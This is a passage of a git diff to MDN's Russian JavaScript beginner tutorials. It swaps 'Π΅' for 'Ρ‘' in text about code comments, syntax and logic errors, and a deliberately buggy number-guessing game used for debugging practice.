<li>ΠžΠ΄Π½ΠΎΡΡ‚Ρ€ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ ΠΏΠΈΡˆΠ΅Ρ‚ΡΡ послС Π΄Π²ΠΎΠΉΠ½ΠΎΠ³ΠΎ слСша (//), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:
@@ -310,7 +310,7 @@ for(let i = 0; i &lt; buttons.length ; i++) {
<p>Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ наш послСдний Π΄Π΅ΠΌΠΎ-ΠΏΡ€ΠΈΠΌΠ΅Ρ€ JavaScriptΒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ коммСнтариями:</p>
-<pre class="brush: js">// Ѐункция: создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΈ добавляСт Π΅Π³ΠΎ Π²Π½ΠΈΠ· Ρ‚Π΅Π»Π° HTML.
+<pre class="brush: js">// Ѐункция: создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ ΠΈ добавляСт Π΅Π³ΠΎ Π²Π½ΠΈΠ· Ρ‚Π΅Π»Π° HTML.
function createParagraph() {
var para = document.createElement('p');
@@ -335,6 +335,6 @@ for (var i = 0; i &lt; buttons.length ; i++) {
<p>ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ сдСлали ваш ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² ΠΌΠΈΡ€Β JavaScript. ΠœΡ‹ Π½Π°Ρ‡Π°Π»ΠΈ всСго-лишь с Ρ‚Π΅ΠΎΡ€ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ JavaScript, ΠΈ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ. На этом ΠΏΡƒΡ‚ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠΎΠ΄Π° ΠΈ Π²Ρ‹ΡƒΡ‡ΠΈΠ»ΠΈ, ΠΊΠ°ΠΊ JavaScript вписываСтся Π² ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΊΠΎΠ΄ Π½Π° вашСм сайтС срСди всСго ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ.</p>
-<p>JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡƒΠ³Π°ΡŽΡ‰ΠΈΠΌ Π² Π΄Π°Π½Π½Ρ‹ΠΌ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Π½ΠΎ Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ - Π² этом курсС ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅ΠΌ вас сквозь Π½Π΅Π³ΠΎ простыми шагами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ смысл, забСгая Π½Π°ΠΏΠ΅Ρ€Π΅Π΄. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π³Π»Π°Π²Π΅ ΠΌΡ‹ <a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/%D0%9F%D0%B5%D1%80%D0%B2%D1%8B%D0%B5_%D1%88%D0%B0%D0%B3%D0%B8/A_first_splash">погрузимся нСпосрСдствСнно Π² ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒ</a>, подталкивая вас ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ΄ ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваши собствСнныС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ JavaScript.</p>
+<p>JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡƒΠ³Π°ΡŽΡ‰ΠΈΠΌ Π² Π΄Π°Π½Π½Ρ‹ΠΌ ΠΌΠΎΠΌΠ΅Π½Ρ‚, Π½ΠΎ Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ - Π² этом курсС ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘ΠΌ вас сквозь Π½Π΅Π³ΠΎ простыми шагами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ смысл, забСгая Π½Π°ΠΏΠ΅Ρ€Ρ‘Π΄. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π³Π»Π°Π²Π΅ ΠΌΡ‹ <a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/%D0%9F%D0%B5%D1%80%D0%B2%D1%8B%D0%B5_%D1%88%D0%B0%D0%B3%D0%B8/A_first_splash">погрузимся нСпосрСдствСнно Π² ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒ</a>, подталкивая вас ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ΄ ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ваши собствСнныС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ JavaScript.</p>
<p>{{NextMenu("Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash", "Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги")}}</p>
diff --git a/files/ru/learn/javascript/first_steps/what_went_wrong/index.html b/files/ru/learn/javascript/first_steps/what_went_wrong/index.html
index 1e95ec1c25..a0e0e988cc 100644
--- a/files/ru/learn/javascript/first_steps/what_went_wrong/index.html
+++ b/files/ru/learn/javascript/first_steps/what_went_wrong/index.html
@@ -27,20 +27,20 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
<h2 id="Π’ΠΈΠΏΡ‹_ошибок">Π’ΠΈΠΏΡ‹ ошибок</h2>
-<p>Когда Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊ Π² ΠΊΠΎΠ΄Π΅, Π΅ΡΡ‚ΡŒ Π΄Π²Π° основных Ρ‚ΠΈΠΏΠ° ошибок, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ:</p>
+<p>Когда Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊ Π² ΠΊΠΎΠ΄Π΅, Π΅ΡΡ‚ΡŒ Π΄Π²Π° основных Ρ‚ΠΈΠΏΠ° ошибок, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ:</p>
<ul>
<li>
<p><strong>БинтаксичСскиС ошибки:</strong>Β Π­Ρ‚ΠΎ орфографичСскиС ошибки Π² ΠΊΠΎΠ΄Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ фактичСски Π·Π°ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ, ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΡΡ‚Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° ΠΏΠΎΠ»ΠΏΡƒΡ‚ΠΈΒ β€” Π²Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ прСдоставлСны Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½ΠΈ подходят для исправлСния, Ссли Π²Ρ‹ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌΠΈ инструмСнтами ΠΈ Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…!</p>
</li>
- <li><strong>ЛогичСскиС ошибки:</strong> Π­Ρ‚ΠΎ ошибки, ΠΊΠΎΠ³Π΄Π° синтаксис Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ, Π½ΠΎ ΠΊΠΎΠ΄ Π½Π΅ Ρ‚ΠΎΡ‚, ΠΊΠ°ΠΊΠΈΠΌ Π²Ρ‹ Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, Π½ΠΎ Π΄Π°Π΅Ρ‚ Π½Π΅Π²Π΅Ρ€Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π˜Ρ… часто слоТнСС Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ, Ρ‡Π΅ΠΌ синтаксичСскиС ошибки, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ сообщСниС ΠΎΠ± ошибкС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ направляСт вас ΠΊ источнику ошибки.</li>
+ <li><strong>ЛогичСскиС ошибки:</strong> Π­Ρ‚ΠΎ ошибки, ΠΊΠΎΠ³Π΄Π° синтаксис Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ, Π½ΠΎ ΠΊΠΎΠ΄ Π½Π΅ Ρ‚ΠΎΡ‚, ΠΊΠ°ΠΊΠΈΠΌ Π²Ρ‹ Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, Π½ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π΅Π²Π΅Ρ€Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π˜Ρ… часто слоТнСС Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ, Ρ‡Π΅ΠΌ синтаксичСскиС ошибки, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ сообщСниС ΠΎΠ± ошибкС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ направляСт вас ΠΊ источнику ошибки.</li>
</ul>
-<p>Π›Π°Π΄Π½ΠΎ, всС <em>Π½Π΅ Ρ‚Π°ΠΊ</em> просто — Π΅ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ отличия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, ΠΏΠΎΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ язык JavaScript Π³Π»ΡƒΠ±ΠΆΠ΅. Однако Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ классификации достаточно Π½Π°Β Ρ€Π°Π½Π½Π΅ΠΌ этапС вашСй ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Ρ‹. ΠœΡ‹ рассмотрим ΠΎΠ±Π° эти Ρ‚ΠΈΠΏΠ° Π² дальнСйшСм.</p>
+<p>Π›Π°Π΄Π½ΠΎ, всС <em>Π½Π΅ Ρ‚Π°ΠΊ</em> просто — Π΅ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ отличия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, ΠΏΠΎΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ язык JavaScript Π³Π»ΡƒΠ±ΠΆΠ΅. Однако Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ классификации достаточно Π½Π°Β Ρ€Π°Π½Π½Π΅ΠΌ этапС вашСй ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Ρ‹. ΠœΡ‹ рассмотрим ΠΎΠ±Π° эти Ρ‚ΠΈΠΏΠ° Π² дальнСйшСм.</p>
<h2 id="ΠžΡˆΠΈΠ±ΠΎΡ‡Π½Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">ΠžΡˆΠΈΠ±ΠΎΡ‡Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ вСрнСмся ΠΊ нашСй ΠΈΠ³Ρ€Π΅ с ΡƒΠ³Π°Π΄Ρ‹Π²Π°Π½ΠΈΠ΅ΠΌ чисСл — Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π²Π΅Ρ€ΡΠΈΡŽ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΏΡ€Π΅Π΄Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ ошибками. ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Github ΠΈ сдСлайтС сСбС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (см. здСсь <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚</a>).</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ вСрнёмся ΠΊ нашСй ΠΈΠ³Ρ€Π΅ с ΡƒΠ³Π°Π΄Ρ‹Π²Π°Π½ΠΈΠ΅ΠΌ чисСл — Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π²Π΅Ρ€ΡΠΈΡŽ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΏΡ€Π΅Π΄Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ ошибками. ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Github ΠΈ сдСлайтС сСбС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (см. здСсь <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚</a>).</p>
<ol>
<li>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго любимого тСкстового Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π° ΠΈ вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li>
@@ -48,27 +48,27 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ собствСнная вСрсия ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, которая Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ! ΠœΡ‹ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π½Π°Π΄ ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ с нашСй вСрсиСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ здСсь ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Π΅ΠΌ. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ваш ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ собствСнная вСрсия ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, которая Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ! ΠœΡ‹ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π½Π°Π΄ ΡΡ‚Π°Ρ‚ΡŒΡ‘ΠΉ с нашСй вСрсиСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ здСсь ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Ρ‘ΠΌ. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ваш ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
</div>
<p>На этом этапС Π΄Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим консоль Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΌΠΎΠΆΠ΅ΠΌ Π»ΠΈ ΠΌΡ‹ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ синтаксичСскиС ошибки, Π° Π·Π°Ρ‚Π΅ΠΌ попытаСмся ΠΈΡ… ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ. Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½ΠΈΠΆΠ΅.</p>
<h2 id="Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_синтаксичСских_ошибок">Π˜ΡΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ синтаксичСских ошибок</h2>
-<p>РаньшС Π² курсС ΠΌΡ‹ заставили вас Π½Π°Π±Ρ€Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ простыС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ JavaScript Π² <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° JavaScript</a> (Ссли Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ это Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, слСдуйтС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ссылкС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ). Π§Ρ‚ΠΎ Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ консоль прСдоставляСт Π²Π°ΠΌ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° сущСствуСт синтаксичСская ошибка Π²Π½ΡƒΡ‚Ρ€ΠΈ JavaScript, которая подаСтся Π² ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ JavaScript Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΉΠ΄Π΅ΠΌ Π½Π° ΠΎΡ…ΠΎΡ‚Ρƒ.</p>
+<p>РаньшС Π² курсС ΠΌΡ‹ заставили вас Π½Π°Π±Ρ€Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ простыС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ JavaScript Π² <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">консоль Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° JavaScript</a> (Ссли Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ это Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, слСдуйтС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ссылкС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ). Π§Ρ‚ΠΎ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ консоль прСдоставляСт Π²Π°ΠΌ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° сущСствуСт синтаксичСская ошибка Π²Π½ΡƒΡ‚Ρ€ΠΈ JavaScript, которая подаётся Π² ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ JavaScript Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΉΠ΄Ρ‘ΠΌ Π½Π° ΠΎΡ…ΠΎΡ‚Ρƒ.</p>
<ol>
